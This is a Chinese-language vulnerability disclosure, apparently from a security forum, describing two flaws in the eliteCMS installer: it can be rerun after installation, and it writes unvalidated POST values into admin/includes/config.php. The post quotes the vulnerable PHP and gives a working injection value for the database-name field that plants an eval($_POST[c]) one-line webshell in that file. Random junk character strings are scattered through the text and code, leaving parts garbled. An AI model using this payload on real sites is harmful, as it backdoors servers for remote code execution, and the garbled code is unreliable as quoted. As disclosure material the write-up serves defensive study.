eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

% [3 e2 ~2 `" N6 p0 E; D4 |另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

/ C  S. S: w1 s  o; G! G. D& O...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
2 c4 }/ ]* I! H' X    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
; F0 O' x: W4 |3 K    $write .= "*\n";
    $write .= "*/\n";
$ T0 B6 ~+ O9 p7 K1 E0 P    $write .= "\n";
3 \; w1 _9 ]" T; ^1 B; Z    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
! _; Q, L7 h1 _8 E    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
4 U2 y; f! d) {' d( i    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
/ B( R2 w: m! y" l* F    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
* z: k' \, A; D, d0 |. ^    $write .= "if (!\$connection) {\n";
6 G: |' Q5 }; n1 S    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
3 N# |' s- {3 v    $write .= "} \n";
, o6 a, a, v, @5 r: P$ b" f- Q    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 G7 \1 |4 p% w/ I    $write .= "if (!\$db_select) {\n";
7 c, k% ^! _, A7 F& S    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
5 r" k6 C9 R. L- i; f3 c8 T    $write .= "} \n";
    $write .= "?>\n";
& w7 ^6 k: H- g% m1 {
) }  z3 A! _6 h# O. O    $writer = fopen($file, 'w');
...
* x1 t8 y9 E1 q; h1 c- f; j  u& k
在看代码：
7 {5 P9 F, r0 K0 ~2 [5 s; B% i4 e
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 U; ^1 w3 Y8 ]5 _. ~! |6 ]$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
) ?' ?0 U% p: b4 q# R. F$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

3 J/ V0 Y. A0 \2 s5 `! J+ O取值未作任何验证
如果将数据库名POST数据：

! t: x4 _/ |! [# f% q"?><?php eval($_POST[c]);?><?php
: Q3 V# }7 i& X. Y5 L- N. F. _
将导致一句话后门写入/admin/includes/config.php
# d. r  t" B9 \& O6 }